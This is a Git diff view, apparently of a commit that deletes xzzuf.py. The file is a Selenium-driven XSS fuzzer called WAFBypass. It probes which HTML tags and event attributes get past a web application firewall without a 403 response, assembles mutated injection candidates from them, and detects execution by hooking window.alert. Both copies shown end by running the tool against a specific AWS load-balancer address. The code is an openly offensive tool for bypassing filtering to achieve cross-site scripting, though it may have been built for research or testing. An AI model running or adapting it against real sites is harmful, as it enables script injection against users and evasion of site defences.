||||
self.populate_ids_names(tags)
|
||||
payload = TagList(tags)
|
||||
encoded = urlencode({self.param: f"{payload}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, triggered = self.navigate(self.driver, url)
|
||||
if triggered:
|
||||
print(f"XSS Payload: {payload}")
|
||||
self.driver.execute_script(
|
||||
self.trigger.format(self.get_ids(tags)))
|
||||
triggered = self.triggered_xss
|
||||
if triggered:
|
||||
print(f"XSS Payload: {payload}")
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Stopping fuzzer")
|
||||
self.driver.close()
|
||||
return
|
||||
|
||||
|
||||
w = WAFBypass(
|
||||
"http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2")
|
||||
w.test()
|
181
xzzuf.py
181
xzzuf.py
@ -1,181 +0,0 @@
|
||||
from urllib.parse import unquote
|
||||
import selenium
|
||||
import time
|
||||
from selenium import webdriver
|
||||
from selenium.webdriver.support.ui import WebDriverWait
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlencode
|
||||
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
|
||||
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
|
||||
from mutations import Mutations
|
||||
from utils import choice
|
||||
|
||||
# WAFBypass class
|
||||
|
||||
|
||||
class WAFBypass():
|
||||
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
|
||||
|
||||
def __init__(self, url) -> None:
|
||||
self.options = webdriver.ChromeOptions()
|
||||
self.options.add_argument('--no-sandbox')
|
||||
self.options.add_argument('--headless')
|
||||
self.unfiltered_attributes = {}
|
||||
self.unfiltered_tags = []
|
||||
self.driver = webdriver.Chrome(options=self.options)
|
||||
self.url = urlparse(url)
|
||||
self.mutator = Mutations()
|
||||
|
||||
if not self.check_connection():
|
||||
raise Exception("Connection Error")
|
||||
|
||||
self.driver.execute_cdp_cmd(
|
||||
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
|
||||
|
||||
def check_connection(self):
|
||||
try:
|
||||
self.driver.get(self.url.geturl())
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def wait_for_pageload(self):
|
||||
try:
|
||||
WebDriverWait(self.driver, 4).until(
|
||||
lambda driver: driver.execute_script("return document.readyState") == "complete")
|
||||
except TimeoutError:
|
||||
raise Exception("Page Load Error")
|
||||
|
||||
def get_page_title(self):
|
||||
return self.driver.title
|
||||
|
||||
@property
|
||||
def is_403(self):
|
||||
return self.driver.title == "403 Forbidden"
|
||||
|
||||
@property
|
||||
def triggered_xss(self):
|
||||
return self.driver.execute_script("return window.alert_trigger")
|
||||
|
||||
def navigate(self, url):
|
||||
self.driver.get(url)
|
||||
self.wait_for_pageload()
|
||||
|
||||
is403 = False
|
||||
|
||||
if self.is_403:
|
||||
is403 = True
|
||||
else:
|
||||
is403 = False
|
||||
|
||||
triggerxss = self.triggered_xss
|
||||
|
||||
return (is403, triggerxss)
|
||||
|
||||
def identify_unfiltered_attributes(self):
|
||||
try:
|
||||
self.unfiltered_attributes["global"] = []
|
||||
self.unfiltered_attributes["events"] = []
|
||||
self.unfiltered_attributes["tag_specific"] = {}
|
||||
|
||||
for attr in GlobalAttributes:
|
||||
encoded = urlencode({"param2": f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["global"].append(attr)
|
||||
|
||||
for attr in EventsAttributes:
|
||||
encoded = urlencode({"param2": f"{attr}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["events"].append(attr)
|
||||
|
||||
for tag in self.unfiltered_tags:
|
||||
try:
|
||||
for attr in TagSpecificAttributes[tag.name]:
|
||||
if tag not in self.unfiltered_attributes["tag_specific"]:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name] = [
|
||||
]
|
||||
encoded = urlencode(
|
||||
{"param2": f"<{tag.name} {attr}/>"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_attributes["tag_specific"][tag.name].append(
|
||||
attr)
|
||||
except KeyError:
|
||||
print(f"Tag {tag.name} not found in TagSpecificAttributes")
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
def identify_unfiltered_tags(self):
|
||||
try:
|
||||
for tag in Tags:
|
||||
encoded = urlencode({"param2": f"{tag}"})
|
||||
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
|
||||
is403, _ = self.navigate(url)
|
||||
if not is403:
|
||||
self.unfiltered_tags.append(tag)
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
def dry_run(self):
|
||||
try:
|
||||
self.identify_unfiltered_tags()
|
||||
self.identify_unfiltered_attributes()
|
||||
for tag in self.unfiltered_tags:
|
||||
tag.set_mutator(self.mutator)
|
||||
except Exception as e:
|
||||
raise Exception(f"Dry Run Error: {e}")
|
||||
|
||||
def run_fuzz(self):
|
||||
self.dry_run()
|
||||
|
||||
def test(self):
|
||||
try:
|
||||
self.dry_run()
|
||||
print("Unfiltered Tags:")
|
||||
for tag in self.unfiltered_tags:
|
||||
print(tag.name)
|
||||
for _ in range(0, 10):
|
||||
tag = choice(self.unfiltered_tags)
|
||||
|
||||
tag.attributes = []
|
||||
tag.children = []
|
||||
|
||||
nglobattr = choice(range(1, 3))
|
||||
nattr = choice(range(0, 3))
|
||||
|
||||
globals = self.unfiltered_attributes["global"]
|
||||
|
||||
for _ in range(0, nglobattr):
|
||||
if len(globals) == 0:
|
||||
break
|
||||
attr = choice(globals)
|
||||
globals.remove(attr)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
tag.add_attribute(choice(self.unfiltered_attributes["events"]))
|
||||
|
||||
tag_specific = self.unfiltered_attributes["tag_specific"][tag.name]
|
||||
|
||||
for _ in range(0, nattr):
|
||||
if len(tag_specific) == 0:
|
||||
break
|
||||
attr = choice(tag_specific)
|
||||
tag_specific.remove(attr)
|
||||
tag.add_attribute(attr)
|
||||
|
||||
print(tag)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
self.driver.close()
|
||||
exit(0)
|
||||
|
||||
|
||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
|
||||
w.test()
|
Loading…
Reference in New Issue
Block a user